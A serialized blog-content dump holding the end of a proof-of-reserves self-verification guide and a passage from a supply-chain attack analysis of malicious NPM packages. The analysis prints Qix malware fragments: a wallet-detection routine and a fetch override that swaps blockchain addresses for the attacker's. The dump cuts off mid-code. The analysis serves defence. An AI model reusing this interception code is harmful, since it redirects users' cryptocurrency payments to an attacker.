required:",{"type":25,"tag":2033,"props":100900,"children":100901},{},[100902,100912,100922,100932,100942,100952],{"type":25,"tag":2037,"props":100903,"children":100904},{},[100905,100910],{"type":25,"tag":9267,"props":100906,"children":100907},{},[100908],{"type":31,"value":100909},"Status",{"type":31,"value":100911}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":25,"tag":2037,"props":100913,"children":100914},{},[100915,100920],{"type":25,"tag":9267,"props":100916,"children":100917},{},[100918],{"type":31,"value":100919},"Proof Timestamp",{"type":31,"value":100921}," --> when the proof was generated by the exchange.",{"type":25,"tag":2037,"props":100923,"children":100924},{},[100925,100930],{"type":25,"tag":9267,"props":100926,"children":100927},{},[100928],{"type":31,"value":100929},"Verify Timestamp",{"type":31,"value":100931}," --> when the proof was verified by the PoR server.",{"type":25,"tag":2037,"props":100933,"children":100934},{},[100935,100940],{"type":25,"tag":9267,"props":100936,"children":100937},{},[100938],{"type":31,"value":100939},"Proof File URL",{"type":31,"value":100941}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity themselves.",{"type":25,"tag":2037,"props":100943,"children":100944},{},[100945,100950],{"type":25,"tag":9267,"props":100946,"children":100947},{},[100948],{"type":31,"value":100949},"Prover Version",{"type":31,"value":100951}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":25,"tag":2037,"props":100953,"children":100954},{},[100955,100960],{"type":25,"tag":9267,"props":100956,"children":100957},{},[100958],{"type":31,"value":100959},"File Hash (SHA256)",{"type":31,"value":100961}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":25,"tag":38,"props":100963,"children":100964},{},[100965],{"type":31,"value":100966},"Also, you can check the exchange's liabilities on the website:",{"type":25,"tag":38,"props":100968,"children":100969},{},[100970],{"type":25,"tag":6461,"props":100971,"children":100973},{"alt":54541,"src":100972},"/posts/por/backpack-por-liabilities.png",[],{"type":25,"tag":38,"props":100975,"children":100976},{},[100977,100979,100985,100987,100993],{"type":31,"value":100978},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":25,"tag":162,"props":100980,"children":100983},{"href":100981,"rel":100982},"https://backpack.exchange/reserves",[166],[100984],{"type":31,"value":100981},{"type":31,"value":100986}," and our verifier server for backpack at ",{"type":25,"tag":162,"props":100988,"children":100991},{"href":100989,"rel":100990},"https://backpack-por.osec.io/",[166],[100992],{"type":31,"value":100989},{"type":31,"value":179},{"type":25,"tag":26,"props":100995,"children":100997},{"id":100996},"self-verification",[100998],{"type":31,"value":100999},"Self-verification",{"type":25,"tag":38,"props":101001,"children":101002},{},[101003],{"type":31,"value":101004},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":25,"tag":607,"props":101006,"children":101008},{"id":101007},"how-to-verify-if-i-was-included",[101009],{"type":31,"value":101010},"How to verify if I was included?",{"type":25,"tag":38,"props":101012,"children":101013},{},[101014],{"type":31,"value":101015},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":25,"tag":6705,"props":101017,"children":101018},{},[101019,101030,101048],{"type":25,"tag":2037,"props":101020,"children":101021},{},[101022,101029],{"type":25,"tag":162,"props":101023,"children":101026},{"href":101024,"rel":101025},"https://github.com/otter-sec/por_v2/releases",[166],[101027],{"type":31,"value":101028},"Download the PoRv2 executable from our github",{"type":31,"value":179},{"type":25,"tag":2037,"props":101031,"children":101032},{},[101033,101035,101040,101041,101046],{"type":31,"value":101034},"Download the inclusion and the final proof files from the exchange (",{"type":25,"tag":82,"props":101036,"children":101038},{"className":101037},[],[101039],{"type":31,"value":100724},{"type":31,"value":1301},{"type":25,"tag":82,"props":101042,"children":101044},{"className":101043},[],[101045],{"type":31,"value":100699},{"type":31,"value":101047},") and put the files in the same directory as the PoRv2 app.",{"type":25,"tag":2037,"props":101049,"children":101050},{},[101051,101053,101059],{"type":31,"value":101052},"Open the terminal and execute this: ",{"type":25,"tag":82,"props":101054,"children":101056},{"className":101055},[],[101057],{"type":31,"value":101058},"./plonky2_por verify-inclusion",{"type":31,"value":179},{"type":25,"tag":38,"props":101061,"children":101062},{},[101063],{"type":31,"value":101064},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being verified:",{"type":25,"tag":206,"props":101066,"children":101068},{"code":101067},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[101069],{"type":25,"tag":82,"props":101070,"children":101071},{"__ignoreMap":7},[101072],{"type":31,"value":101067},{"type":25,"tag":607,"props":101074,"children":101076},{"id":101075},"how-can-i-verify-the-global-proof",[101077],{"type":31,"value":101078},"How can I verify the global proof?",{"type":25,"tag":38,"props":101080,"children":101081},{},[101082],{"type":31,"value":101083},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":25,"tag":6705,"props":101085,"children":101086},{},[101087,101096,101114],{"type":25,"tag":2037,"props":101088,"children":101089},{},[101090,101095],{"type":25,"tag":162,"props":101091,"children":101093},{"href":101024,"rel":101092},[166],[101094],{"type":31,"value":101028},{"type":31,"value":179},{"type":25,"tag":2037,"props":101097,"children":101098},{},[101099,101101,101106,101107,101112],{"type":31,"value":101100},"Download the ",{"type":25,"tag":82,"props":101102,"children":101104},{"className":101103},[],[101105],{"type":31,"value":100692},{"type":31,"value":41507},{"type":25,"tag":82,"props":101108,"children":101110},{"className":101109},[],[101111],{"type":31,"value":100699},{"type":31,"value":101113}," files and put them in the same directory as the PoRv2 app. You can download those files from our PoR verifier server (download the zip file and unzip it).",{"type":25,"tag":2037,"props":101115,"children":101116},{},[101117,101119,101124],{"type":31,"value":101118},"Open the terminal and execute ",{"type":25,"tag":82,"props":101120,"children":101122},{"className":101121},[],[101123],{"type":31,"value":101058},{"type":31,"value":101125},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":25,"tag":38,"props":101127,"children":101128},{},[101129],{"type":31,"value":101130},"This will verify the global proof and print the asset prices to be manually verified. Note that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":25,"tag":206,"props":101132,"children":101134},{"code":101133},"[!] Verifying the proof of reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[101135],{"type":25,"tag":82,"props":101136,"children":101137},{"__ignoreMap":7},[101138],{"type":31,"value":101133},{"type":25,"tag":38,"props":101140,"children":101141},{},[101142],{"type":31,"value":101143},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":25,"tag":206,"props":101145,"children":101147},{"code":101146},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[101148],{"type":25,"tag":82,"props":101149,"children":101150},{"__ignoreMap":7},[101151],{"type":31,"value":101146},{"type":25,"tag":26,"props":101153,"children":101154},{"id":32886},[101155],{"type":31,"value":22901},{"type":25,"tag":38,"props":101157,"children":101158},{},[101159],{"type":31,"value":101160},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By employing zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":25,"tag":38,"props":101162,"children":101163},{},[101164,101166,101172],{"type":31,"value":101165},"We are currently working with Backpack to implement this algorithm ",{"type":25,"tag":162,"props":101167,"children":101169},{"href":100981,"rel":101168},[166],[101170],{"type":31,"value":101171},"in production",{"type":31,"value":101173}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":25,"tag":38,"props":101175,"children":101176},{},[101177,101179,101186],{"type":31,"value":101178},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":25,"tag":162,"props":101180,"children":101183},{"href":101181,"rel":101182},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[166],[101184],{"type":31,"value":101185},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":31,"value":179},{"title":7,"searchDepth":6763,"depth":6763,"links":101188},[101189,101190,101191,101192,101195,101200,101204,101205,101209],{"id":96451,"depth":6763,"text":96454},{"id":96532,"depth":6763,"text":96535},{"id":96602,"depth":6763,"text":96605},{"id":96656,"depth":6763,"text":96659,"children":101193},[101194],{"id":96735,"depth":6772,"text":96738},{"id":96823,"depth":6763,"text":96826,"children":101196},[101197,101198,101199],{"id":96896,"depth":6772,"text":96899},{"id":97363,"depth":6772,"text":97366},{"id":99094,"depth":6772,"text":99097},{"id":100673,"depth":6763,"text":100676,"children":101201},[101202,101203],{"id":13231,"depth":6772,"text":100681},{"id":100735,"depth":6772,"text":100738},{"id":100865,"depth":6763,"text":100868},{"id":100996,"depth":6763,"text":100999,"children":101206},[101207,101208],{"id":101007,"depth":6772,"text":101010},{"id":101075,"depth":6772,"text":101078},{"id":32886,"depth":6763,"text":22901},"content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds",{"_path":101214,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":101215,"description":101216,"date":101217,"author":35156,"image":101218,"isFeatured":16,"onBlogPage":16,"tags":101221,"body":101224,"_type":6792,"_id":103650,"_source":6794,"_file":103651,"_stem":103652,"_extension":6797},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.","2025-09-13T12:00:00.000Z",{"src":101219,"width":101220,"height":17574},"/posts/supply-chain-attcks/title.png",1536,[101222,101223],"npm","supply-chain",{"type":22,"children":101225,"toc":103633},[101226,101239,101244,101249,101255,101260,101268,101598,101606,102169,102177,102884,102890,102895,102901,102906,102911,102917,102922,102934,102939,102965,103052,103064,103089,103105,103110,103115,103321,103363,103368,103380,103386,103398,103440,103453,103533,103545,103558,103565,103576,103584,103590,103603,103608,103612,103617,103629],{"type":25,"tag":38,"props":101227,"children":101228},{},[101229,101231,101237],{"type":31,"value":101230},"The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":25,"tag":82,"props":101232,"children":101234},{"className":101233},[],[101235],{"type":31,"value":101236},"chalk",{"type":31,"value":101238},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":25,"tag":38,"props":101240,"children":101241},{},[101242],{"type":31,"value":101243},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.",{"type":25,"tag":38,"props":101245,"children":101246},{},[101247],{"type":31,"value":101248},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":25,"tag":26,"props":101250,"children":101252},{"id":101251},"qix-malware-how-it-worked",[101253],{"type":31,"value":101254},"Qix Malware: How It Worked",{"type":25,"tag":38,"props":101256,"children":101257},{},[101258],{"type":31,"value":101259},"The attacker published modified versions of packages with code designed to do three things:",{"type":25,"tag":6705,"props":101261,"children":101262},{},[101263],{"type":25,"tag":2037,"props":101264,"children":101265},{},[101266],{"type":31,"value":101267},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":25,"tag":206,"props":101269,"children":101271},{"code":101270,"language":35321,"meta":7,"className":35319,"style":7},"async function checkethereumw() {\n  try {\n    const _0x124ed3 = await window.ethereum.request({\n      'method': \"eth_accounts\"\n    });\n    if (_0x124ed3.length > 0) {\n      runmask();\n      if (rund != 1) {\n        rund = 1;\n        neth = 1;\n        newdlocal();\n      }\n    } else if (rund != 1) {\n      rund = 1;\n      newdlocal();\n    }\n  }\n}\n",[101272],{"type":25,"tag":82,"props":101273,"children":101274},{"__ignoreMap":7},[101275,101295,101307,101351,101368,101375,101411,101423,101451,101471,101491,101503,101510,101545,101565,101577,101584,101591],{"type":25,"tag":216,"props":101276,"children":101277},{"class":6916,"line":6917},[101278,101282,101286,101291],{"type":25,"tag":216,"props":101279,"children":101280},{"style":6930},[101281],{"type":31,"value":40102},{"type":25,"tag":216,"props":101283,"children":101284},{"style":6930},[101285],{"type":31,"value":42171},{"type":25,"tag":216,"props":101287,"children":101288},{"style":7041},[101289],{"type":31,"value":101290}," checkethereumw",{"type":25,"tag":216,"props":101292,"children":101293},{"style":6958},[101294],{"type":31,"value":19688},{"type":25,"tag":216,"props":101296,"children":101297},{"class":6916,"line":6763},[101298,101303],{"type":25,"tag":216,"props":101299,"children":101300},{"style":6967},[101301],{"type":31,"value":101302},"  try",{"type":25,"tag":216,"props":101304,"children":101305},{"style":6958},[101306],{"type":31,"value":7235},{"type":25,"tag":216,"props":101308,"children":101309},{"class":6916,"line":6772},[101310,101314,101319,101323,101327,101331,101335,101339,101343,101347],{"type":25,"tag":216,"props":101311,"children":101312},{"style":6930},[101313],{"type":31,"value":55630},{"type":25,"tag":216,"props":101315,"children":101316},{"style":6941},[101317],{"type":31,"value":101318}," _0x124ed3",{"type":25,"tag":216,"props":101320,"children":101321},{"style":6947},[101322],{"type":31,"value":6950},{"type":25,"tag":216,"props":101324,"children":101325},{"style":6967},[101326],{"type":31,"value":40168},{"type":25,"tag":216,"props":101328,"children":101329},{"style":6941},[101330],{"type":31,"value":35364},{"type":25,"tag":216,"props":101332,"children":101333},{"style":6958},[101334],{"type":31,"value":179},{"type":25,"tag":216,"props":101336,"children":101337},{"style":6941},[101338],{"type":31,"value":35373},{"type":25,"tag":216,"props":101340,"children":101341},{"style":6958},[101342],{"type":31,"value":179},{"type":25,"tag":216,"props":101344,"children":101345},{"style":7041},[101346],{"type":31,"value":35449},{"type":25,"tag":216,"props":101348,"children":101349},{"style":6958},[101350],{"type":31,"value":19092},{"type":25,"tag":216,"props":101352,"children":101353},{"class":6916,"line":6999},[101354,101359,101363],{"type":25,"tag":216,"props":101355,"children":101356},{"style":8199},[101357],{"type":31,"value":101358},"      'method'",{"type":25,"tag":216,"props":101360,"children":101361},{"style":6941},[101362],{"type":31,"value":1466},{"type":25,"tag":216,"props":101364,"children":101365},{"style":8199},[101366],{"type":31,"value":101367}," \"eth_accounts\"\n",{"type":25,"tag":216,"props":101369,"children":101370},{"class":6916,"line":7104},[101371],{"type":25,"tag":216,"props":101372,"children":101373},{"style":6958},[101374],{"type":31,"value":36213},{"type":25,"tag":216,"props":101376,"children":101377},{"class":6916,"line":7210},[101378,101382,101386,101391,101395,101399,101403,101407],{"type":25,"tag":216,"props":101379,"children":101380},{"style":6967},[101381],{"type":31,"value":16229},{"type":25,"tag":216,"props":101383,"children":101384},{"style":6958},[101385],{"type":31,"value":7010},{"type":25,"tag":216,"props":101387,"children":101388},{"style":6941},[101389],{"type":31,"value":101390},"_0x124ed3",{"type":25,"tag":216,"props":101392,"children":101393},{"style":6958},[101394],{"type":31,"value":179},{"type":25,"tag":216,"props":101396,"children":101397},{"style":6941},[101398],{"type":31,"value":12450},{"type":25,"tag":216,"props":101400,"children":101401},{"style":6947},[101402],{"type":31,"value":18145},{"type":25,"tag":216,"props":101404,"children":101405},{"style":6983},[101406],{"type":31,"value":6986},{"type":25,"tag":216,"props":101408,"children":101409},{"style":6958},[101410],{"type":31,"value":18755},{"type":25,"tag":216,"props":101412,"children":101413},{"class":6916,"line":7238},[101414,101419],{"type":25,"tag":216,"props":101415,"children":101416},{"style":7041},[101417],{"type":31,"value":101418},"      runmask",{"type":25,"tag":216,"props":101420,"children":101421},{"style":6958},[101422],{"type":31,"value":7627},{"type":25,"tag":216,"props":101424,"children":101425},{"class":6916,"line":7251},[101426,101430,101434,101439,101443,101447],{"type":25,"tag":216,"props":101427,"children":101428},{"style":6967},[101429],{"type":31,"value":43244},{"type":25,"tag":216,"props":101431,"children":101432},{"style":6958},[101433],{"type":31,"value":7010},{"type":25,"tag":216,"props":101435,"children":101436},{"style":6941},[101437],{"type":31,"value":101438},"rund",{"type":25,"tag":216,"props":101440,"children":101441},{"style":6947},[101442],{"type":31,"value":68349},{"type":25,"tag":216,"props":101444,"children":101445},{"style":6983},[101446],{"type":31,"value":8465},{"type":25,"tag":216,"props":101448,"children":101449},{"style":6958},[101450],{"type":31,"value":18755},{"type":25,"tag":216,"props":101452,"children":101453},{"class":6916,"line":7269},[101454,101459,101463,101467],{"type":25,"tag":216,"props":101455,"children":101456},{"style":6941},[101457],{"type":31,"value":101458},"        rund",{"type":25,"tag":216,"props":101460,"children":101461},{"style":6947},[101462],{"type":31,"value":6950},{"type":25,"tag":216,"props":101464,"children":101465},{"style":6983},[101466],{"type":31,"value":8465},{"type":25,"tag":216,"props":101468,"children":101469},{"style":6958},[101470],{"type":31,"value":6961},{"type":25,"tag":216,"props":101472,"children":101473},{"class":6916,"line":7290},[101474,101479,101483,101487],{"type":25,"tag":216,"props":101475,"children":101476},{"style":6941},[101477],{"type":31,"value":101478},"        neth",{"type":25,"tag":216,"props":101480,"children":101481},{"style":6947},[101482],{"type":31,"value":6950},{"type":25,"tag":216,"props":101484,"children":101485},{"style":6983},[101486],{"type":31,"value":8465},{"type":25,"tag":216,"props":101488,"children":101489},{"style":6958},[101490],{"type":31,"value":6961},{"type":25,"tag":216,"props":101492,"children":101493},{"class":6916,"line":7299},[101494,101499],{"type":25,"tag":216,"props":101495,"children":101496},{"style":7041},[101497],{"type":31,"value":101498},"        newdlocal",{"type":25,"tag":216,"props":101500,"children":101501},{"style":6958},[101502],{"type":31,"value":7627},{"type":25,"tag":216,"props":101504,"children":101505},{"class":6916,"line":7551},[101506],{"type":25,"tag":216,"props":101507,"children":101508},{"style":6958},[101509],{"type":31,"value":16614},{"type":25,"tag":216,"props":101511,"children":101512},{"class":6916,"line":7568},[101513,101517,101521,101525,101529,101533,101537,101541],{"type":25,"tag":216,"props":101514,"children":101515},{"style":6958},[101516],{"type":31,"value":19731},{"type":25,"tag":216,"props":101518,"children":101519},{"style":6967},[101520],{"type":31,"value":7262},{"type":25,"tag":216,"props":101522,"children":101523},{"style":6967},[101524],{"type":31,"value":19740},{"type":25,"tag":216,"props":101526,"children":101527},{"style":6958},[101528],{"type":31,"value":7010},{"type":25,"tag":216,"props":101530,"children":101531},{"style":6941},[101532],{"type":31,"value":101438},{"type":25,"tag":216,"props":101534,"children":101535},{"style":6947},[101536],{"type":31,"value":68349},{"type":25,"tag":216,"props":101538,"children":101539},{"style":6983},[101540],{"type":31,"value":8465},{"type":25,"tag":216,"props":101542,"children":101543},{"style":6958},[101544],{"type":31,"value":18755},{"type":25,"tag":216,"props":101546,"children":101547},{"class":6916,"line":7585},[101548,101553,101557,101561],{"type":25,"tag":216,"props":101549,"children":101550},{"style":6941},[101551],{"type":31,"value":101552},"      rund",{"type":25,"tag":216,"props":101554,"children":101555},{"style":6947},[101556],{"type":31,"value":6950},{"type":25,"tag":216,"props":101558,"children":101559},{"style":6983},[101560],{"type":31,"value":8465},{"type":25,"tag":216,"props":101562,"children":101563},{"style":6958},[101564],{"type":31,"value":6961},{"type":25,"tag":216,"props":101566,"children":101567},{"class":6916,"line":7598},[101568,101573],{"type":25,"tag":216,"props":101569,"children":101570},{"style":7041},[101571],{"type":31,"value":101572},"      newdlocal",{"type":25,"tag":216,"props":101574,"children":101575},{"style":6958},[101576],{"type":31,"value":7627},{"type":25,"tag":216,"props":101578,"children":101579},{"class":6916,"line":7607},[101580],{"type":25,"tag":216,"props":101581,"children":101582},{"style":6958},[101583],{"type":31,"value":7305},{"type":25,"tag":216,"props":101585,"children":101586},{"class":6916,"line":7630},[101587],{"type":25,"tag":216,"props":101588,"children":101589},{"style":6958},[101590],{"type":31,"value":9817},{"type":25,"tag":216,"props":101592,"children":101593},{"class":6916,"line":7639},[101594],{"type":25,"tag":216,"props":101595,"children":101596},{"style":6958},[101597],{"type":31,"value":7868},{"type":25,"tag":6705,"props":101599,"children":101600},{"start":6763},[101601],{"type":25,"tag":2037,"props":101602,"children":101603},{},[101604],{"type":31,"value":101605},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":25,"tag":206,"props":101607,"children":101609},{"code":101608,"language":35321,"meta":7,"className":35319,"style":7},"fetch = async function (...args) {\n  const originalResponse = await originalFetch.call(this, ...args);\n  const contentType = originalResponse.headers.get('Content-Type') || '';\n  let data;\n  if (contentType.includes('application/json')) {\n    data = await originalResponse.clone().json();\n  } else {\n    data = await originalResponse.clone().text();\n  }\n  const processedData = replaceAddresses(data);\n  const finalResponseText =\n    typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n  const finalResponse = new Response(finalResponseText, {\n    status: originalResponse.status,\n    statusText: originalResponse.statusText,\n    headers: originalResponse.headers,\n  });\n  return finalResponse;\n};\n",[101610],{"type":25,"tag":82,"props":101611,"children":101612},{"__ignoreMap":7},[101613,101648,101705,101767,101782,101819,101858,101873,101912,101919,101952,101968,102027,102065,102090,102115,102139,102147,102162],{"type":25,"tag":216,"props":101614,"children":101615},{"class":6916,"line":6917},[101616,101620,101624,101628,101632,101636,101640,101644],{"type":25,"tag":216,"props":101617,"children":101618},{"style":7041},[101619],{"type":31,"value":38051},{"type":25,"tag":216,"props":101621,"children":101622},{"style":6947},[101623],{"type":31,"value":6950},{"type":25,"tag":216,"props":101625,"children":101626},{"style":6930},[101627],{"type":31,"value":40322},{"type":25,"tag":216,"props":101629,"children":101630},{"style":6930},[101631],{"type":31,"value":42171},{"type":25,"tag":216,"props":101633,"children":101634},{"style":6958},[101635],{"type":31,"value":7010},{"type":25,"tag":216,"props":101637,"children":101638},{"style":6947},[101639],{"type":31,"value":13541},{"type":25,"tag":216,"props":101641,"children":101642},{"style":6941},[101643],{"type":31,"value":42185},{"type":25,"tag":216,"props":101645,"children":101646},{"style":6958},[101647],{"type":31,"value":18755},{"type":25,"tag":216,"props":101649,"children":101650},{"class":6916,"line":6763},[101651,101655,101660,101664,101668,101673,101677,101681,101685,101689,101693,101697,101701],{"type":25,"tag":216,"props":101652,"children":101653},{"style":6930},[101654],{"type":31,"value":40145},{"type":25,"tag":216,"props":101656,"children":101657},{"style":6941},[101658],{"type":31,"value":101659}," originalResponse",{"type":25,"tag":216,"props":101661,"children":101662},{"style":6947},[101663],{"type":31,"value":6950},{"type":25,"tag":216,"props":101665,"children":101666},{"style":6967},[101667],{"type":31,"value":40168},{"type":25,"tag":216,"props":101669,"children":101670},{"style":6941},[101671],{"type":31,"value":101672}," originalFetch",{"type":25,"tag":216,"props":101674,"children":101675},{"style":6958},[101676],{"type":31,"value":179},{"type":25,"tag":216,"props":101678,"children":101679},{"style":7041},[101680],{"type":31,"value":42253},{"type":25,"tag":216,"props":101682,"children":101683},{"style":6958},[101684],{"type":31,"value":1844},{"type":25,"tag":216,"props":101686,"children":101687},{"style":6930},[101688],{"type":31,"value":21645},{"type":25,"tag":216,"props":101690,"children":101691},{"style":6958},[101692],{"type":31,"value":7020},{"type":25,"tag":216,"props":101694,"children":101695},{"style":6947},[101696],{"type":31,"value":13541},{"type":25,"tag":216,"props":101698,"children":101699},{"style":6941},[101700],{"type":31,"value":42185},{"type":25,"tag":216,"props":101702,"children":101703},{"style":6958},[101704],{"type":31,"value":7791},{"type":25,"tag":216,"props":101706,"children":101707},{"class":6916,"line":6772},[101708,101712,101717,101721,101725,101729,101734,101738,101742,101746,101751,101755,101759,101763],{"type":25,"tag":216,"props":101709,"children":101710},{"style":6930},[101711],{"type":31,"value":40145},{"type":25,"tag":216,"props":101713,"children":101714},{"style":6941},[101715],{"type":31,"value":101716}," contentType",{"type":25,"tag":216,"props":101718,"children":101719},{"style":6947},[101720],{"type":31,"value":6950},{"type":25,"tag":216,"props":101722,"children":101723},{"style":6941},[101724],{"type":31,"value":101659},{"type":25,"tag":216,"props":101726,"children":101727},{"style":6958},[101728],{"type":31,"value":179},{"type":25,"tag":216,"props":101730,"children":101731},{"style":6941},[101732],{"type":31,"value":101733},"headers",{"type":25,"tag":216,"props":101735,"children":101736},{"style":6958},[101737],{"type":31,"value":179},{"type":25,"tag":216,"props":101739,"children":101740},{"style":7041},[101741],{"type":31,"value":20304},{"type":25,"tag":216,"props":101743,"children":101744},{"style":6958},[101745],{"type":31,"value":1844},{"type":25,"tag":216,"props":101747,"children":101748},{"style":8199},[101749],{"type":31,"value":101750},"'Content-Type'",{"type":25,"tag":216,"props":101752,"children":101753},{"style":6958},[101754],{"type":31,"value":7030},{"type":25,"tag":216,"props":101756,"children":101757},{"style":6947},[101758],{"type":31,"value":26358},{"type":25,"tag":216,"props":101760,"children":101761},{"style":8199},[101762],{"type":31,"value":35795},{"type":25,"tag":216,"props":101764,"children":101765},{"style":6958},[101766],{"type":31,"value":6961},{"type":25,"tag":216,"props":101768,"children":101769},{"class":6916,"line":6999},[101770,101774,101778],{"type":25,"tag":216,"props":101771,"children":101772},{"style":6930},[101773],{"type":31,"value":11801},{"type":25,"tag":216,"props":101775,"children":101776},{"style":6941},[101777],{"type":31,"value":19056},{"type":25,"tag":216,"props":101779,"children":101780},{"style":6958},[101781],{"type":31,"value":6961},{"type":25,"tag":216,"props":101783,"children":101784},{"class":6916,"line":7104},[101785,101789,101793,101798,101802,101806,101810,101815],{"type":25,"tag":216,"props":101786,"children":101787},{"style":6967},[101788],{"type":31,"value":35350},{"type":25,"tag":216,"props":101790,"children":101791},{"style":6958},[101792],{"type":31,"value":7010},{"type":25,"tag":216,"props":101794,"children":101795},{"style":6941},[101796],{"type":31,"value":101797},"contentType",{"type":25,"tag":216,"props":101799,"children":101800},{"style":6958},[101801],{"type":31,"value":179},{"type":25,"tag":216,"props":101803,"children":101804},{"style":7041},[101805],{"type":31,"value":39138},{"type":25,"tag":216,"props":101807,"children":101808},{"style":6958},[101809],{"type":31,"value":1844},{"type":25,"tag":216,"props":101811,"children":101812},{"style":8199},[101813],{"type":31,"value":101814},"'application/json'",{"type":25,"tag":216,"props":101816,"children":101817},{"style":6958},[101818],{"type":31,"value":39151},{"type":25,"tag":216,"props":101820,"children":101821},{"class":6916,"line":7210},[101822,101826,101830,101834,101838,101842,101846,101850,101854],{"type":25,"tag":216,"props":101823,"children":101824},{"style":6941},[101825],{"type":31,"value":47191},{"type":25,"tag":216,"props":101827,"children":101828},{"style":6947},[101829],{"type":31,"value":6950},{"type":25,"tag":216,"props":101831,"children":101832},{"style":6967},[101833],{"type":31,"value":40168},{"type":25,"tag":216,"props":101835,"children":101836},{"style":6941},[101837],{"type":31,"value":101659},{"type":25,"tag":216,"props":101839,"children":101840},{"style":6958},[101841],{"type":31,"value":179},{"type":25,"tag":216,"props":101843,"children":101844},{"style":7041},[101845],{"type":31,"value":19371},{"type":25,"tag":216,"props":101847,"children":101848},{"style":6958},[101849],{"type":31,"value":34123},{"type":25,"tag":216,"props":101851,"children":101852},{"style":7041},[101853],{"type":31,"value":37954},{"type":25,"tag":216,"props":101855,"children":101856},{"style":6958},[101857],{"type":31,"value":7627},{"type":25,"tag":216,"props":101859,"children":101860},{"class":6916,"line":7238},[101861,101865,101869],{"type":25,"tag":216,"props":101862,"children":101863},{"style":6958},[101864],{"type":31,"value":35424},{"type":25,"tag":216,"props":101866,"children":101867},{"style":6967},[101868],{"